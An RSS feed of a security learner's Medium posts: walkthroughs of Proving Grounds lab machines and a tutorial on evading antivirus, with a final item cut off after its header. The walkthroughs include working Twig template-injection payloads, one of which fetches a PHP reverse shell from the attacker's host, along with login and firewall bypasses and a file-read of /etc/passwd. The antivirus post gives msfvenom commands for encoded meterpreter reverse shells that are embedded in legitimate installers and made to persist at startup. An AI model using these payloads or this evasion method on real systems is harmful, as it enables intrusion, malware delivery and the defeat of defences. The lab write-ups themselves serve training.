<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by SxEl on Medium]]></title>
        <description><![CDATA[Stories by SxEl on Medium]]></description>
        <link>https://medium.com/@SxEl?source=rss-f977e012eba5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fQESpN7-gWkanuSnvv7r1A.jpeg</url>
            <title>Stories by SxEl on Medium</title>
            <link>https://medium.com/@SxEl?source=rss-f977e012eba5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 15:40:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@SxEl/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Proving Grounds illusion Walkthrough]]></title>
            <link>https://medium.com/@SxEl/proving-grounds-illusion-walkthrough-bbd0315231d6?source=rss-f977e012eba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/bbd0315231d6</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[SxEl]]></dc:creator>
            <pubDate>Sun, 12 Jun 2022 18:07:44 GMT</pubDate>
            <atom:updated>2022-06-22T15:01:30.624Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, today Iam going to walk you through illusion, a new, medium rated Proving Grounds Practice box.</p><p>Although this box was medium difficulty the initial access was not obvious whatsoever and it took me a while to gain a foothold, the privesc was pretty easy as long as you figure out one simple thing.</p><p>Running nmap we can see only port 22 and 80 are available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*ztn3-qjyqVDxjs6McZYxkQ.png" /></figure><p>On port 80 there is a website running with a couple of options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ou7vCaBFJzfNpaOTIu5C5g.png" /></figure><p>Running gobuster reveals 3 directories:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*sevk6qhyX_HgJPFTL5iX7w.png" /></figure><p>Off the bat there is a very limited attack surface. After checking out /vendor i noticed that <a href="https://twig.symfony.com/">twig</a> was present, a php template engine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*2Ufl61XJTBuD2cfY1_jyYg.png" /><figcaption><a href="http://192.168.191.203/vendor/composer/installed.json">http://192.168.191.203/vendor/composer/installed.json</a></figcaption></figure><p>After searching for an exploit on the exploit database I found twig versions before 2.4.4 are vulnerable to <a href="https://portswigger.net/research/server-side-template-injection">Server Side Template Injection</a>, a vulnerability caused by unsanitized user input, and it can lead to Remote Code Execution.</p><p>To successfully exploit this vulnerability I had to find some sort of parameter where i could inject payloads.</p><p>The only logical place where that could be possible in this case is dashboard.php, unfortunately to access that page login is necessary.</p><p>So I gathered usernames from the home page and attempted a small password-spraying attack. Password-Spraying is an attack where you bruteforce authentication with a list of usernames and try to guess some potentially weak passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*KU0_hy7jsb4gqM-CE6rfIA.png" /><figcaption>Adding usernames to burpsuite intruder</figcaption></figure><p>Unfortunately none of my passwords worked and i was back to ground zero.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*fzepJ2eEoBFlZAGML3nB6g.png" /><figcaption>failed password-spray</figcaption></figure><p>My next move was to try to access dashboard.php by using the match and replace feature in burpsuite to blacklist response headers containing redirects to /login.php, replacing it with /dashboard.php.</p><p>This did not work out. At this point i was getting kind of stressed, but after multiple attempts at SQL injection bypass i went to <a href="https://book.hacktricks.xyz/pentesting-web/login-bypass">hacktricks</a> and tried some of the payloads, since the responses i was getting where already diffrent from regular requests i figured i was on the right path, i also remember watching <a href="https://www.youtube.com/watch?v=idC5SAsKhlE">this ippsec video </a>(which btw is a great video if you like WebApp penetration testing) a couple of months ago.</p><p>If you navigate to minute 9:50 you can see he bypasses login by inserting <em>true</em> into the password field, which usually has double quotes: “password”: “password”. But by changing it to “password”: true, the application thinks the password i submitted is correct and i bypass the login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/212/1*k2tLcAbzj4XQHsqfpEp4RQ.png" /><figcaption>ippsec example</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*PpCmxzV4XVo4stGE_9HjVQ.png" /><figcaption>payload to bypass login</figcaption></figure><p>Great, now Ihad bypassed authentication and had access to dashboard.php:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*Ga25fYmmun8MxI1Li6Y2Eg.png" /></figure><p>We can see it’s some sort of form to request orders, when entering test in the name field something interesting happens:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*taIGmHxmNvxcyh3zyQWDeQ.png" /><figcaption><a href="http://192.168.191.203/dashboard.php?name=test&amp;submit=Submit+Query">http://192.168.191.203/dashboard.php?name=test&amp;submit=Submit+Query</a></figcaption></figure><p>Very nice, now i have two parameters to work with. I immediately got to work trying to exploit the SSTI in twig &lt; 2.4.4, this was by far the easier part of this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*NBiOWmk4XbQxuStu5cCwMw.png" /><figcaption><a href="http://192.168.191.203/dashboard.php?name=">http://192.168.191.203/dashboard.php?name=</a>{{7*7}}&amp;submit=Submit+Query</figcaption></figure><p>As you can see the SSTI vulnerability is present and working well. Okay, now i had SSTI but still not RCE, to get within the machine i had to try a lot of different stuff, eventually i found <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig">this very useful cheatsheet</a> on github.</p><p>The final payload that seemed to work was this one:</p><blockquote>{{_self.env.registerUndefinedFilterCallback(%22exec%22)}{{_self.env.getFilter(%22id%22)}}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*scwuDT5EINIRkVt1uN8Q_w.png" /><figcaption><a href="http://192.168.191.203/dashboard.php?name=">http://192.168.191.203/dashboard.php?name=</a>{{_self.env.registerUndefinedFilterCallback(%22exec%22)}}{{_self.env.getFilter(%22id%22)}}&amp;submit=Submit+Query</figcaption></figure><p>Great, now that i had Remote Command Execution i had to gain a full shell on the target. To do this i used wget to transfer and safe <a href="https://github.com/pentestmonkey/php-reverse-shell">pentestmonkey’s</a> php reverse shell within the web root</p><p>This is the payload i used to transfer over the shell</p><blockquote><a href="http://192.168.191.203/dashboard.php?name={{_self.env.registerUndefinedFilterCallback(%22exec%22)}}{{_self.env.getFilter(%22wget+192.168.49.191/shell.php+-O+/var/www/html/shell.php%22)}}&amp;submit={{_self.env}">http://192.168.191.203/dashboard.php?name={{_self.env.registerUndefinedFilterCallback(%22exec%22)}}{{_self.env.getFilter(%22wget+x.x.x.x/shell.php+-O+/var/www/html/shell.php%22)}}&amp;submit=</a>Submit+Query</blockquote><p>This worked and i managed to gain a foothold on the target:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*eqw0wLNAusHtY9bTUS5Kmw.png" /><figcaption>gaining a reverse shell</figcaption></figure><h3>Privilege Escalation</h3><p>Now, here is where things got tricky, even tho they should not have.</p><p>When looking at the network information and the processes running on the machine I noticed redis was running on localhost as root.</p><p>I also found a file called redis-openssl-gen-pass.txt in the home of a local user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*6mBJuDcmU17myt8txhYz-w.png" /></figure><p>I though this was a hash and tried to find what exactly it was but couldn’t manage to figure it out.</p><p>From here Itried everything on <a href="https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis">hacktricks</a> about redis but always got access denied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*_ysECV4B_jlQNRf1OICrYA.png" /><figcaption>trying to load module to execute commands</figcaption></figure><p>After a couple of hours struggling with the privilege escalation i gave up and went to sleep, later the next day i figured that since the boxe’s name was illusion couldn’t it be that i’ve been tricked? You see, the “hash” is not a hash at all, it’s the password for redis, and even tho i didn’t figure this out immediately i was so glad when this worked and i got access to a process running as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*lE7t7DzYK0EYBWHESUIsnQ.png" /><figcaption>accessing redis with the long password</figcaption></figure><p>Now the actual privesc was easy enough, im pretty sure that by following any of the methods shown on <a href="https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis">hacktricks</a> it was possible to escalate.</p><p>I went with the ssh method since it is the most stable shell and it also acts as a backdoor in case i want to access that machine in the future.</p><p>This was very straight forward, first of all i forwarded port 6379 on localhost to my machine using chisel (port forwarding tool):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*SNMwH9tBsVlcnIsNvpIZdQ.png" /><figcaption>Forwarding redis to Attack machine</figcaption></figure><p>Now i literally just followed the procedure outlined on hacktricks, which consisted of creating an ssh key and uploading it to the victim through redis, and since redis runs as root, i can write an ssh key for the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GcfeUT0mjcq6AygHhODgRg.png" /><figcaption>Adding ssh keys for the root user</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*G1o5GEKI6zgNVLWH727MmA.png" /><figcaption>logging in as root</figcaption></figure><p>I have to say this box was far from medium in my opinion, the initial access was a hustle and the privesc, although obvious now was a real pain for a couple of hours.</p><p>Overall i have to say that this box was great practice, i learned a new way to bypass logins, exploited a SSTI and practiced some port forwarding.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bbd0315231d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing antivirus software with venom and shellter.]]></title>
            <link>https://medium.com/@SxEl/bypassing-antivirus-software-with-venom-and-shellter-7b20eaf48ff5?source=rss-f977e012eba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b20eaf48ff5</guid>
            <dc:creator><![CDATA[SxEl]]></dc:creator>
            <pubDate>Sat, 28 May 2022 22:44:58 GMT</pubDate>
            <atom:updated>2022-05-29T11:39:49.096Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, today i am going to explain how i bypassed 67 out of 68 Antivirus products available on <a href="https://www.virustotal.com/gui/home/upload">virustotal</a>. I managed to do so with the help of <a href="https://www.offensive-security.com/metasploit-unleashed/msfvenom/">venom</a>, a payload generating tool included in the Metasploit Framework and <a href="https://www.shellterproject.com/">Shellter</a>, an Antivirus bypass tool which can backdoor regular windows executables with custom shellcode.</p><h3>Setup</h3><p>The lab was very basic, i only used one kali linux virtual machine to create the payloads and receive incoming shells, and a Windows 10 vm (10.0.19044) with windows defender and <a href="https://techstartups.com/2022/03/27/rav-antivirus-exactly-use/">RAV antivirus</a> real time protection enabled to test the payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*eTXctd9O1rYbmF6Lq-W7ng.png" /></figure><p>I have to say RAV is a very good product, it will detect a lot of malicious executables and other threats, overall this product is pretty frustrating to bypass.</p><h3>Creating the executables</h3><p>To start of i had to figure out which payload would be the best candidate to start messing around with, so i created a bash script to generate e bunch of different payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9GwChM8T7-SpB1wchiuzTg.png" /></figure><p>I then checked the payloads out one by one with virustotal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*pNKX31u3WKYbbGOXhtesJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*UE8sfnOCqbd0f7E752e_VA.png" /></figure><p>As you can see these payloads got detected easily, on average by 50/68 Antivirus products, still a long way to go.</p><p>My next step was trying to embed these basic payloads into other executables with venom. To do this we can use the -x flag followed by the executable to backdoor:</p><blockquote>msfvenom -p &lt;payload&gt; -x &lt;backdoor.exe&gt; -f exe -o *.exe LHOST=* LPORT=*</blockquote><p>This slightly helped but still a very easily detected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*2Ajo9snSFRjY6TmoZo-jAQ.png" /></figure><p>At this point i figured that my best chance at bypassing antiviruses would probably be a heavily encoded meterpreter/reverse_tcp embedded within a pretty large file, remember, the larger the backdoored file the harder it will be for AV’s to flag your executable as malicious.</p><p>Next up i decided to use a slightly bigger file to backdoor, in this case it is a 7zip installer executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*fd_dT3yzHiANit0P-m3mbg.png" /></figure><p>Already looking better but still a far cry from FUD.</p><h3>Backdooring windows executables with shellter</h3><p>Since default payloads with the venom embedding features aren’t really having the desired effect i switched over to shellter.</p><p>Shellter is a great tool for AV bypass, with it you can embed custom shellcode within any 32-bit windows binary.</p><p>I started of by backdooring a winrar installer, and encoding the payloads with 10 iterations of x86/shikata_ga_nai encoding.</p><blockquote>This encoder offers three features that provide advanced protection when combined.</blockquote><blockquote>First, the decoder stub generator uses metamorphic techniques, through code reordering and substitution, to produce different output each time it is used, in an effort to avoid signature recognition.</blockquote><blockquote>Second, it uses a chained self modifying key through additive feedback. This means that if the decoding input or keys are incorrect at any iteration then all subsequent output will be incorrect.</blockquote><blockquote>Third, the decoder stub is itself partially obfuscated via self-modifying of the current basic block as well as armored against emulation using FPU instructions.</blockquote><blockquote><a href="https://security.stackexchange.com/questions/130256/what-is-shikata-ga-nai">https://security.stackexchange.com/questions/130256/what-is-shikata-ga-nai</a></blockquote><p>We can do this by using the -e &lt;encoding&gt; and the -i &lt;number of iterations&gt; flags with venom.</p><blockquote>msfvenom -p windows/meterpreter/reverse_tcp -f raw -o shellcode.raw -e x86/shikata_ga_nai -i 5 LHOST=172.16.60.134 LPORT=443</blockquote><p>After generating the raw shellcode open up shellter select Auto mode and select the windows binary to backdoor. Then select custom shellcode and insert your shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sp-6Ky3o3W8hBdYiYygyQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*BevpK4lqt_MVAC1qSuHvng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*8NgMcnJ9CsNb0s-ha7xwXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/234/1*c4dX-RHoxycKYyAW1cZ9VQ.png" /></figure><p>This was already looking way more promising than the previous attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*rTU0DcBV0gQhI3JCuosMqA.png" /></figure><p>Now, to further bypass AV i had to use more encoding iterations and backdoor a larger executable.</p><p>I went with a staged meterpreter tcp reverse shell with 35 iterations of encoding and backdoored a python installer, this file was 25mb, making it even harder to detect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*-sEUZXDJCIoqYA1odYKBPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEYLbkIPKSwHNwbhGINcZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5TyVY-9EMZHDkdZpzhL_FA.png" /></figure><p>I could have used a larger file to embed but i want to keep things reasonable since using a file larger than this could be suspicious and might take some time download and run, which is less than optimal in a real engagement</p><p>Now i know this is not FUD but, even tho virustotal only managed to detect the malware in 2/67 AV’s it was running without giving me any warnings whatsoever in my windows vm.</p><p>Normally it would display this warning</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*I6mRX-Uw2HJ9vRW77N5WmQ.png" /></figure><p>This wasn’t the case here and my executable ran without problems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*Bd83QabKr0xphvQvGVDNwQ.png" /><figcaption>running the binary</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*9kCwNOiWJWkZSscgzFR1Zg.png" /></figure><p>To further avoid detection by a user or AV i encoded the stage on my listener (set EnableStageEncoding true) and made it so as soon as the target connected back to me, i would migrate to a different process (set autorunscript post/windows/manage/migrate).</p><p>I then gained persistence by moving the binary to the startup directory, so that my executable would get executed every time someone turned on the infected computer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*mtQAlfJUZh7M6SyDd-YJ-w.png" /><figcaption>gaining persistence</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*XY_0eyDU_-8mt-MC96e_fA.png" /><figcaption>poc</figcaption></figure><p>Great, this payload would bypass AV and gave me no warnings whatsoever when booting up the computer.</p><p>Just for fun i wanted to try to follow the same last steps with another payload, this time it was a regular staged tcp shell (windows/shell/reverse_tcp) and to my surprise it only got caught by 1 antivirus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*2bxJu9ECTuMSuFufE9twuw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*nJLgiJ1dp5YqXwbVRU0XIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*mfIiRO-6OYBozMtK5RXfVw.png" /></figure><p>Okay great, my payloads haven’t been detected, so i ran a deep scan with RAV to see if it would flag my executable as malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*Hh9x6fZcCCrD0Mlq8kFWlQ.png" /></figure><p>But sure enough it did not detect my malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*WeK1pmSApa1p-iwaYcyZRA.png" /></figure><h3>Summary</h3><p>Bypassing antivirus can be very hard and is a whole artform in and of itself, though it can be tricky some basic techniques like this worked and the payloads ran undetected.</p><p>A couple of useful tricks are using staged payloads since they are smaller in size and easier to embed, furthermore using a larger file may also help.</p><p>Overall i would really recommend anyone interested in this type of stuff to look into it since it can be a very complex and interesting topic.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b20eaf48ff5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds XposedAPI walkthrough]]></title>
            <link>https://medium.com/@SxEl/proving-grounds-xposedapi-walkthrough-4d9d642bf36b?source=rss-f977e012eba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d9d642bf36b</guid>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[SxEl]]></dc:creator>
            <pubDate>Fri, 27 May 2022 19:39:53 GMT</pubDate>
            <atom:updated>2022-05-27T19:39:53.631Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey, today i am going to walk you through XposedAPI, an intermediate rated proving grounds practice box.</p><p>I started off with an nmap scan to enumerate ports and services. As you can see there are only two open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*g3HXlC1OcGXd_45BmkrjZw.png" /></figure><p>Port 13337 seems interesting, navigating to it reveals it is an api.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3aObkrrPWm70jjNc_dt-xg.png" /></figure><p>The api has 4 endpoints, /version, /logs, /update and /restart</p><p>I can also see that the /logs endpoint is protected by a web application firewall of some sort.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*PmHpaIyvOtY46JdMx7P2mA.png" /></figure><p>Looking at the other endpoints, /update looks very promising.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RBa5GNzKEQVVK_USwJBAag.png" /></figure><p>/update is intended to update the software by downloading a user-supplied linux executable, normally the latest version of the app. We can abuse this by downloading our own malicious executable and executing it with the /restart endpoint.</p><p>First off i had to create the malicious executable and start a web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*0gwZOLsV3ZCLdn3S7GwR-g.png" /><figcaption>generating the linux executable</figcaption></figure><p>When trying to use the /update feature i need a valid user to perform the “update”. Unfortunately the common usernames aren’t working so i started a small username bruteforce attack.</p><blockquote>for i in $(cat /usr/share/seclists/Usernames/Names/names.txt); do curl -X POST -H ‘Content-Type: application/json’ — data ‘{“user”:”$i”, “url”:”<a href="http://192.168.49.51/lilweasle">http://192.168.49.51/lilweasle</a>&quot;}&#39; <a href="http://192.168.51.134:13337/update">http://192.168.51.134:13337/update</a>; done</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h39PT_amfTShIiOIkV-9oQ.png" /></figure><p>Sadly i did not find the username.</p><p>Next up i though that if i could somehow bypass 403 and read logs i could maybe determine the correct username for the update.</p><p>Luckily enough the first payload i tried worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*1bMjEfaCJfyxBl1JOYN1aQ.png" /><figcaption>using the X-Forwarded-For header to bypass the WAF</figcaption></figure><p>The <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For">X-Forwarded-For</a> header will trick the firewall into thinking that localhost is basically using us as a proxy, therefore forwarding the traffic through us. This is unlikely to work normally but in this case it did and i bypassed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*yZNpm4whTaUwSaP-pvDm_w.png" /></figure><p>Interesting, it is asking to specify the log file to access, this got me thinking if could maybe display the /etc/passwd file, which contains all of the systems usernames.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*7oHQPLT65TEwBTKQIuSqfQ.png" /><figcaption>/logs?file=/etc/passwd</figcaption></figure><p>Sure enough it worked and i now have a valid username with which i can exploit the update feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9-Gezxz3U3ZnMeABrH6tPA.png" /><figcaption>curl -X POST -H ‘Content-Type: application/json’ — data ‘{“user”:”clumsyadmin”, “url”:”<a href="http://192.168.49.51/lilweasle">http://192.168.49.51/lilweasle</a>&quot;}&#39; <a href="http://192.168.51.134:13337/update">http://192.168.51.134:13337/update</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*mZ6rdaeMLTZR_VdUimOFwQ.png" /></figure><p>Great, now my payload is on the system and i just need to use the restart feature to get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*PiKlQU09C8dJTCRsh-Rilg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*pRz5iTSexgxqGHd7NSxJMQ.png" /></figure><h3>Privilege Escalation</h3><p>As always i started with some manual enumeration and noticed wget had <a href="https://en.wikipedia.org/wiki/Setuid">suid</a> permissions, this means that wget will execute as a privileged user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/362/1*VKnSgkCyOm4XQQ0SNkFVEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*F1pPR_YIwItNHHZUAu8m-w.png" /><figcaption><a href="https://gtfobins.github.io/gtfobins/wget/#suid">https://gtfobins.github.io/gtfobins/wget/#suid</a></figcaption></figure><p>Since wget will download and store files as a privileged user we can basically write to any file. This is easily exploitable, you could just replace /etc/crontab, /etc/shadow or any other file which will in some way help with escalating your privileges. I went with modifying the /etc/passwd file, i exploited it by adding a new root user to the original and replacing it with wget.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*wRDnFfPmy4qBQorKQn_gNg.png" /><figcaption>generating the password hash</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*r2y292ZEdXQlnDytuR9_VQ.png" /><figcaption>adding the new root user to /etc/passwd</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*ru6Vl90zqYG9_z7nvoGwww.png" /><figcaption>downloading the file with wget and logging in as lilweasle</figcaption></figure><p>Thank you for reading my walkthrough!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d9d642bf36b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Sybaris walkthrough]]></title>
            <link>https://medium.com/@SxEl/proving-grounds-sybaris-walkhtrough-ec32f39b9bcc?source=rss-f977e012eba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec32f39b9bcc</guid>
            <category><![CDATA[hacks]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[SxEl]]></dc:creator>
            <pubDate>Tue, 24 May 2022 11:58:06 GMT</pubDate>
            <atom:updated>2022-05-24T11:58:57.904Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, today i am going to walk you through sybaris, a medium rated proving grounds practice box.</p><p>Starting off with an nmap scan we can see some interesting ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*KIuXOIXt4_uZ89vp9cgLfg.png" /></figure><p>We can see <a href="https://en.wikipedia.org/wiki/Redis">redis</a>, which is easily exploitable is available on port 6379. We can gain a shell by loading a <a href="https://github.com/n0b0dyCN/RedisModules-ExecuteCommand">special module</a> which will allow us to execute commands through redis.</p><p>We can use ftp, which allows anonymous access to upload the shared object and execute commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*8_h-JweFMu8iRXqmY2oyow.png" /></figure><p>The module is now on the machine and we can load it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*Ed5xVyfqU5E6eAn0_FOyPw.png" /><figcaption>Loadin the module and executing commands</figcaption></figure><p>Great, now that i had RCE i upgraded the shell by creating, uploading and executing a malicious linux executable (.elf file).</p><h3>Privilege escalation</h3><p>I found two ways to elevate my privilege on this machine. The first option is <a href="https://access.redhat.com/security/cve/CVE-2021-4034">cve-2021–4034</a>, this vulnerability basically let’s us execute crafted environment variables as arbitrary commands, running as root.</p><p>The second option requires crafting a malicious shared object which is missing in a binary running as root in a crontab every minute, and placing it in a folder within the <a href="https://linuxhint.com/what-is-ld-library-path/">LD_LIBRARY_PATH</a> where we have write access .</p><h3>CVE-2021–4034</h3><p>since local_exploit_suggestor and linpeas both flagged the machine as vulnerable to this exploit i went with this one first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*YRKCXwHji5_dSMonA557jg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OKaID-0WjuSIcAKkPmGesw.png" /></figure><p>Exploiting this vulnerability is very easy. I uploaded a python version of the exploit, gave it correct permissions, ran it and got r00t.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*h-pJ1agZAGsfDMv29gqBOA.png" /></figure><h3>Privilege Escalation via missing Shared Object</h3><p>The second Privilege Escalation is slightly harder. It requires us to exploit the utils.so shared object which is missing within the log-sweeper binary, which runs as root every minute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*Mw7a4KB-psJTfY3r9q6PoQ.png" /></figure><p>Running log-sweeper we can see utils.so is missing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_PDCFOnP0iPeHgK2z5DxBA.png" /></figure><p>Since we have write access to /usr/local/lib/dev we can place our shared object there and since it is inside the LD_LIBRARY_PATH the system will try to find utils.so inside of /usr/local/lib/dev.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*VpwHriaLlUngI5xqjR6r_g.png" /><figcaption>creating the c file which we will compile into a Shared Object</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*mueO52KM2UpXdzPkG4qNww.png" /><figcaption>compiling the c file into a .so file</figcaption></figure><p>Great, now we have created a shared object which will give us a reverse shell as soon as executed and placed it in a path where the system will look for and execute it. Now i monitored the processes with pspy64 and waited for a minute or so, eventually the crontab runs and i get a root level shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*0S9UaGx57XjgyVWoDcLpHA.png" /><figcaption>monitoring the processes and seeing my reverse shell getting executed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*GgXDnVRqnDdb0nXwT_gdpA.png" /><figcaption>r00t</figcaption></figure><p>Thank you for reading my walkthrough.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec32f39b9bcc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds BlackGate walkthrough]]></title>
            <link>https://medium.com/@SxEl/proving-grounds-blackgate-walkthrough-8efd1d9c6de?source=rss-f977e012eba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/8efd1d9c6de</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[SxEl]]></dc:creator>
            <pubDate>Thu, 19 May 2022 11:44:55 GMT</pubDate>
            <atom:updated>2022-05-19T11:44:55.304Z</atom:updated>
